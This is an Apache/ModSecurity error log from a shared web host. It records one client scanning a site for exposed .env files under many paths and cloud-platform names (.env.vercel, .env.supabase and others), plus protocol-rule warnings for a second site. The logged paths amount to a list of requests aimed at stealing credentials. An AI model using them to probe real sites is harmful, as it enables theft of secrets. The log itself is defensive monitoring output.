[Fri Jul 17 09:26:29.149024 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/stage/.env"] [unique_id "almn7TsMb3am0TgkjETgKAAAAAo"]
[Fri Jul 17 09:26:29.149395 2026] [security2:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/stage/.env"] [unique_id "almn7TsMb3am0TgkjETgKAAAAAo"]
[Fri Jul 17 09:26:29.289895 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn7EkXT4NBqALj2laCawAAABA"]
[Fri Jul 17 09:26:29.310173 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/development/.env"] [unique_id "almn7QRRrtuZqNDDSqW1cAAAABo"]
[Fri Jul 17 09:26:29.310419 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/development/.env"] [unique_id "almn7QRRrtuZqNDDSqW1cAAAABo"]
[Fri Jul 17 09:26:29.310753 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/development/.env"] [unique_id "almn7QRRrtuZqNDDSqW1cAAAABo"]
[Fri Jul 17 09:26:29.310813 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-global": Permission denied [hostname "ceylonparampara.lk"] [uri "/development/.env"] [unique_id "almn7QRRrtuZqNDDSqW1cAAAABo"]
[Fri Jul 17 09:26:29.310829 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-ip": Permission denied [hostname "ceylonparampara.lk"] [uri "/development/.env"] [unique_id "almn7QRRrtuZqNDDSqW1cAAAABo"]
[Fri Jul 17 09:26:29.477806 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/production/.env"] [unique_id "almn7bEKozcCJ-ReuK0IhAAAAAg"]
[Fri Jul 17 09:26:29.478144 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/production/.env"] [unique_id "almn7bEKozcCJ-ReuK0IhAAAAAg"]
[Fri Jul 17 09:26:29.478643 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/production/.env"] [unique_id "almn7bEKozcCJ-ReuK0IhAAAAAg"]
[Fri Jul 17 09:26:29.656799 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/config/app/.env"] [unique_id "almn7UkXT4NBqALj2laCbAAAABA"]
[Fri Jul 17 09:26:29.657229 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/config/app/.env"] [unique_id "almn7UkXT4NBqALj2laCbAAAABA"]
[Fri Jul 17 09:26:29.657884 2026] [security2:error] [pid 2018757:tid 2018757] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/config/app/.env"] [unique_id "almn7UkXT4NBqALj2laCbAAAABA"]
[Fri Jul 17 09:26:29.829982 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.vault"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.vault"] [unique_id "almn7V1_86A5R6msWNfaAAAAABI"]
[Fri Jul 17 09:26:29.830343 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.vault"] [unique_id "almn7V1_86A5R6msWNfaAAAAABI"]
[Fri Jul 17 09:26:29.830850 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.vault"] [unique_id "almn7V1_86A5R6msWNfaAAAAABI"]
[Fri Jul 17 09:26:29.996769 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.fly"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.fly"] [unique_id "almn7ZBVIrrUwtEhdafWlAAAAAU"]
[Fri Jul 17 09:26:29.997055 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.fly"] [unique_id "almn7ZBVIrrUwtEhdafWlAAAAAU"]
[Fri Jul 17 09:26:29.997472 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.fly"] [unique_id "almn7ZBVIrrUwtEhdafWlAAAAAU"]
[Fri Jul 17 09:26:30.179254 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.railway"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.railway"] [unique_id "almn7iRF0UOO1RzB5_8z0wAAAA4"]
[Fri Jul 17 09:26:30.179508 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.railway"] [unique_id "almn7iRF0UOO1RzB5_8z0wAAAA4"]
[Fri Jul 17 09:26:30.179884 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.railway"] [unique_id "almn7iRF0UOO1RzB5_8z0wAAAA4"]
[Fri Jul 17 09:26:30.189985 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:51064] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:30.354094 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.render"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.render"] [unique_id "almn7hHlOGcokz2QIwTY4gAAAAM"]
[Fri Jul 17 09:26:30.354339 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.render"] [unique_id "almn7hHlOGcokz2QIwTY4gAAAAM"]
[Fri Jul 17 09:26:30.354702 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.render"] [unique_id "almn7hHlOGcokz2QIwTY4gAAAAM"]
[Fri Jul 17 09:26:30.518808 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.vercel"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.vercel"] [unique_id "almn7rEWOaI5pmYo9fnUbwAAAAA"]
[Fri Jul 17 09:26:30.519117 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.vercel"] [unique_id "almn7rEWOaI5pmYo9fnUbwAAAAA"]
[Fri Jul 17 09:26:30.519527 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.vercel"] [unique_id "almn7rEWOaI5pmYo9fnUbwAAAAA"]
[Fri Jul 17 09:26:30.551917 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn7pBVIrrUwtEhdafWlQAAAAU"]
[Fri Jul 17 09:26:30.552029 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn7pBVIrrUwtEhdafWlQAAAAU"]
[Fri Jul 17 09:26:30.552771 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn7pBVIrrUwtEhdafWlQAAAAU"]
[Fri Jul 17 09:26:30.686272 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.supabase"] [unique_id "almn7iRF0UOO1RzB5_8z1AAAAA4"]
[Fri Jul 17 09:26:30.686694 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.supabase"] [unique_id "almn7iRF0UOO1RzB5_8z1AAAAA4"]
[Fri Jul 17 09:26:30.687338 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.supabase"] [unique_id "almn7iRF0UOO1RzB5_8z1AAAAA4"]
[Fri Jul 17 09:26:30.850843 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn7pBVIrrUwtEhdafWlQAAAAU"]
[Fri Jul 17 09:26:30.863250 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.neon"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.neon"] [unique_id "almn7rEKozcCJ-ReuK0IhwAAAAg"]
[Fri Jul 17 09:26:30.863659 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.neon"] [unique_id "almn7rEKozcCJ-ReuK0IhwAAAAg"]
[Fri Jul 17 09:26:30.864275 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.neon"] [unique_id "almn7rEKozcCJ-ReuK0IhwAAAAg"]
[Fri Jul 17 09:26:31.064784 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:32.004965 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:32.181484 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:32.361307 2026] [proxy_fcgi:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:32.563475 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:32.729239 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:32.901731 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
